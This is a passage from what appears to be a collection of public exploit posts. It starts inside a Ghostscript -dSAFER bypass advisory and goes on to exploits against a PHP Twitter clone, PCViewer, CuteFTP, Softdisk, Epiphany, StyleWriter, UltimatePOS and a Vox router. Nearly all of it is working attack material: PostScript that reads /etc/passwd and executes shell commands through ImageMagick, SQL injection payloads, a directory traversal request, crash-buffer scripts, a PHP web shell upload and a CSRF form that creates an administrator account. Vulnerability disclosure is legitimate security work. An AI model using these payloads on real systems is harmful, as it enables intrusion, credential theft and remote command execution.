} put
errordict /typecheck {
    pop
} put
FileToSteal (w) .tempfile
statusdict
begin
    1 1 .setpagesize
end
quit
$ gs -q -sDEVICE=ppmraw -dSAFER  fileread.ps
GPL Ghostscript 9.23:
STOLEN: root:x:0:0:root:
STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd)
STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd)
STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd)
STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd)
STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd)

This can be used to steal arbitrary files from webservers that use ImageMagick by encoding file contents into the image output, see my previous PoC here for an example. i.e. You can make convert malicious.jpg thumbnail.jpg produce an image with the contents of a file visible.

These bugs were found manually, I also wrote a fuzzer and I'm working on minimizing a very large number of testcases that I'm planning to report over the next few days. I will just file those issues upstream and not post each individual one here, you can monitor https://bugs.ghostscript.com/ if you want to.  I expect there to be several dozen unique bugs.

In the meantime, I really *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default. I think this is the number one "unexpected ghostscript" vector, imho this should happen asap. IMHO, -dSAFER is a fragile security boundary at the moment, and executing untrusted postscript should be discouraged, at least by default.

Please note, ImageMagick sends some initialization commands to ghostscript that breaks my minimal PoC, but you can just undo their changes in PostScript.

This one works for me on the version in Ubuntu:
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ convert shellexec.jpeg whatever.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

For CentOS, try this:

$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ convert shellexec.jpeg whatever.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


################################################################################


Upstream bugs filed so far on https://bugs.ghostscript.com (some have restricted access)

699654	/invalidaccess checks stop working after a failed restore
699655	missing type checking in setcolor
699656	LockDistillerParams boolean missing type checks
699659	missing type check in ztype
699657	.tempfile SAFER restrictions seem to be broken
699658	Bypassing PermitFileReading by handling undefinedfilename error


################################################################################


Repro for "missing type check in ztype":

$ gs -q -sDEVICE=ppmraw -dSAFER 
GS>null [[][][][][][][][][][][][][][][]] .type
Segmentation fault


################################################################################


more upstream bugs

699665 memory corruption in aesdecode
699663 .setdistillerkeys memory corruption
699664 corrupt device object after error in job
699660 shading_param incomplete type checking
699661 pdf14 garbage collection memory corruption
699662 calling .bindnow causes sideeffects
HireHackking 
# Exploit Title: Twitter-Clone 1 - 'code' SQL Injection
# Date: 2018-08-22
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10
# vulnerable files : [mailactivation.php , stalkers.php , search.php]
# vulnerable parameters : [name , code , id]

# 1) search.php :
# vulnerable parameter : name
# Type : Error-based
# Payload : 

%' AND extractvalue(1,concat(0x3a,database(),0x3a))%23

# vulnerable code :
if($_GET['name']!=""){
$what = $_GET['name'];
include "connect.php";
$users = mysqli_query($con, "SELECT id, username, followers, following,
tweets
  FROM users
 WHERE username LIKE '%$what%'
 ORDER BY username ASC
 LIMIT 0, 10
");

# 2) mailactivation.php :
# vulnerable parameter : code
# Type : Union query
# Payload : 

' UNION SELECT 1,user(),3,4,5,6%23

# vulnerable code :
include "connect.php";
$givenname = $_GET['username'];
$givencode = $_GET['code'];
$query = mysqli_query($con, "SELECT code, active
  FROM users
  WHERE code = '$givencode' AND username = '$givenname'
 ");
$row = mysqli_fetch_assoc($query);
$wantedcode = $row['code'];

# 3) stalkers.php :
# vulnerable parameter : id
# Type : Union query
# Payload : 

' UNION SELECT 1,2,user(),4,5,6

# vulnerable code :
if ($_GET['id'] != "") {
$theid = $_GET['id'];
include "connect.php";
$stalked = mysqli_query($con, "SELECT id, username, followers, following
 FROM users
  WHERE id = '$theid'
");
$row1 = mysqli_fetch_assoc($stalked);
$usern = $row1['username'];
HireHackking 
# Exploit Title: PCViewer vt1000 - Directory Traversal
# Exploit Author: Berk Dusunur
# Google Dork: N/A
# Type: Hardware
# Date: 2018-07-21
# Vendor Homepage: N/A
# Software Link: http://www.softpedia.com/get/System/File-Management/Pc-Viewer.shtml
# Affected Version: vt1000
# Tested on: Parrot OS
# CVE : N/A

# Proof Of Concept

GET Request

GET ../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: target:8080/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 200 OK
Server:Cross Web Server
Content-length: 59
Content-type: application/octet-stream

root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh
HireHackking 
# Exploit Title : CuteFTP 8.3.1 - Denial Of Service (PoC)
# Exploit Author : Ali Alipour
# WebSite : Alipour.it
# Date: 2018-08-22
# Vendor Homepage : http://www.cuteftp.com/
# Software Link Download : https://filehippo.com/download_cuteftp_pro/4518/
# Tested on : Windows 10 - 64-bit

# Steps to Reproduce
# Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the CuteFTP program. 
# In the new window click "File" > "Connect" > "Connect To URL" . 
# Now Paste the content of "exploit.txt" into the field: " Connect To URL ". 
# Click "OK" and you will see a crash.

#!/usr/bin/python
    
buffer = "A" * 7000
payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit Title: Softdisk 3.0.3 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-22
# Homepage: http://www.ezbsystems.com/
# Software Link: https://www.ezbsystems.com/softdisc/download.htm
# Tested Version: 3.0.3
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Help" >"Enter Registration Code...". 
# Now in the new window paste the content of "exploit.txt" into the field:"Registration Name" 
# and add the following into the "Registration Code" field:"1234567891011121". 
# Click "OK" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit Title: Epiphany Web Browser 3.28.1 - Denial of Service (PoC)
# Author: Dhiraj Mishra
# Date: 2018-08-23
# Software: https://projects-old.gnome.org/epiphany/
# Version: 3.28.1
# CVE: N/A
# Tested on: Ubuntu 18 64bit

# Steps to reproduce:
1. Open epiphany browser
2. Bookmark any random page
3. Then navigate to bookmark properties set:
    Name = Crash
    Address = javascript:window.open('javascript:document.write("<script></script>");');
4. Browser any URL's and try to open the above bookmark
5. The browser crashes

# Below backtrace for your reference.

$ gdb epiphany
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from epiphany...(no debugging symbols found)...done.
(gdb) r
Starting program: /usr/bin/epiphany 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fffe08b6700 (LWP 9295)]
[New Thread 0x7fffdee4b700 (LWP 9296)]
[New Thread 0x7fffde64a700 (LWP 9297)]
[New Thread 0x7fffdcdcf700 (LWP 9298)]
[New Thread 0x7fff8fffd700 (LWP 9299)]
[New Thread 0x7fff8f7fc700 (LWP 9300)]
[New Thread 0x7fff8effb700 (LWP 9301)]
[New Thread 0x7fff8e38b700 (LWP 9302)]
[New Thread 0x7fff8db8a700 (LWP 9303)]
[New Thread 0x7fff8d389700 (LWP 9305)]
[New Thread 0x7fff77b0a700 (LWP 9310)]
[New Thread 0x7fff7598c700 (LWP 9320)]
[New Thread 0x7fff7518b700 (LWP 9321)]
[New Thread 0x7fff7498a700 (LWP 9327)]
[New Thread 0x7fff7698c700 (LWP 9334)]
[New Thread 0x7fff5ffff700 (LWP 9335)]
[New Thread 0x7fff5f7fe700 (LWP 9336)]
[New Thread 0x7fff5effd700 (LWP 9337)]
[New Thread 0x7fff5e7fc700 (LWP 9338)]
[New Thread 0x7fff5dffb700 (LWP 9339)]
[Thread 0x7fff8db8a700 (LWP 9303) exited]
[Thread 0x7fff8e38b700 (LWP 9302) exited]
[Thread 0x7fff5e7fc700 (LWP 9338) exited]
[Thread 0x7fff7698c700 (LWP 9334) exited]
[Thread 0x7fff5f7fe700 (LWP 9336) exited]
[Thread 0x7fff5effd700 (LWP 9337) exited]
[Thread 0x7fff5dffb700 (LWP 9339) exited]
[Thread 0x7fff5ffff700 (LWP 9335) exited]
Error scanning plugin /usr/lib/mozilla/plugins/libpepflashplayer.so, /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0/WebKitPluginProcess returned 256 exit status
[New Thread 0x7fff5ffff700 (LWP 9399)]
[Thread 0x7fff7498a700 (LWP 9327) exited]
[New Thread 0x7fff7498a700 (LWP 9402)]
[Thread 0x7fff7498a700 (LWP 9402) exited]

Thread 22 "pool" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff5ffff700 (LWP 9399)]
0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
(gdb) bt
#0  0x00007ffff7b75db7 in  () at /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
#1  0x00007ffff7079be6 in  () at /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0
#2  0x00007ffff73fe7d0 in  () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#3  0x00007ffff73fde05 in  () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#4  0x00007fffefc206db in start_thread (arg=0x7fff5ffff700) at pthread_create.c:463
#5  0x00007ffff5e4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb)
HireHackking 
# Exploit Title: StyleWriter 4 1.0 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-23
# Homepage: http://www.editorsoftware.com
# Software Link: http://www.editorsoftware.com/StyleWriter_Download.php
# Tested Version: 1.0
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Tools" >"Add Pattern...". 
# Now in the new window paste the content of 
# "exploit.txt" into the following fields:"Pattern to Find" & "Advice Message". 
# Click "Add" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit Title: UltimatePOS 2.5 - Remote Code Execution
# Google Dork: intext:"UltimatePOS" 
# Date: 2018-08-22
# Exploit Author: Renos Nikolaou
# Vendor Homepage: http://ultimatefosters.com/
# Software Link: https://codecanyon.net/item/saas-superadmin-module-for-ultimatepos-advance/22394431
# Version: 2.5
# Tested on: Windows 10
# CVE: N/A
# Description : UltimatePOS 2.5 allows users to upload arbitrary files which 
# leads to a remote command execution on the remote server.

# PoC
# 1) Create a file with the below PHP code and save it as jpg

<?php $cmd=$_GET['cmd']; system($cmd); ?>

# 2) Login to UltimatePOS portal as low priviliage user
# 3) At the left hand side go to Products --> List Products ( http://domain/products )
# 4) Click at the Actions button of a current product --> Edit
# (NOTE: Attack works if you add new product as well)
# 5) Under Product image: click Browse and upload your jpg file containing the PHP code mentioned at step 1. 
# (Make sure to use proxy like Burp, Fiddler etc..etc)
# 6) Scroll Down, click Update and Intercept the request using proxy
# 7) Forward the requests until you reach the from request containing the product details 
# (See the request below) including the filename of the file that you have uploaded.
# 8) Edit the filename from filename.jpg to filename.php and then release the Interception.
# 9) Go to the List Products again (Step 3) and fine the product that you have edited.
# 10) Right click at the Product image and select Copy image Location
# 11) Paste the URL into your browser. Will be similar to: http://domain/storage/img/1533988576_cmd.php
# 12) Verify the exploit: http://domain/storage/img/1533988576_cmd.php?cmd=id


# The request:
===================

POST /products/64 HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain.com/products/64/edit
Cookie: 
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3062816822434
Content-Length: 2868

...

50
-----------------------------3062816822434
Content-Disposition: form-data; name="image"; filename="cmd.php"
Content-Type: image/jpeg

<?php $cmd=$_GET['cmd']; system($cmd); ?>

-----------------------------3062816822434
Content-Disposition: form-data; name="weight"

pos_confirmed.PNG

...
HireHackking 
# Title: Vox TG790 ADSL Router - Cross-Site Request Forgery (Add Admin)
# Author: Cakes
# Exploit Date: 2018-08-01
# Vendor: Vox Telecom
# Link: https://www.vox.co.za/
# Firmware Version: 6.2.W.1
# CVE: N/A

# Description
# Due to improper session management low privilege users are able to create 
# administrator accounts through a crafted POST request. 

# PoC

<html>
<form action="https://TARGET/cgi/b/users/cfg/usraccedit/?be=0&l0=2&l1=9&tid=ADD_USER" method="POST">
<input type="hidden" name="0" id="0" value="10">
<input type="hidden" name="1" id="1" value="usrAccApply">
<input type="hidden" name="34" id="34" value="LulzCakes">
<input type="hidden" name="36" id="36" value="1">
<input type="text" name="33" id="33" placeholder="Account Name">
<br />
<input type="text" name="31" id="31" value="Administrator">
<br />
<input type="submit" value="W00ts">
</form>
</html>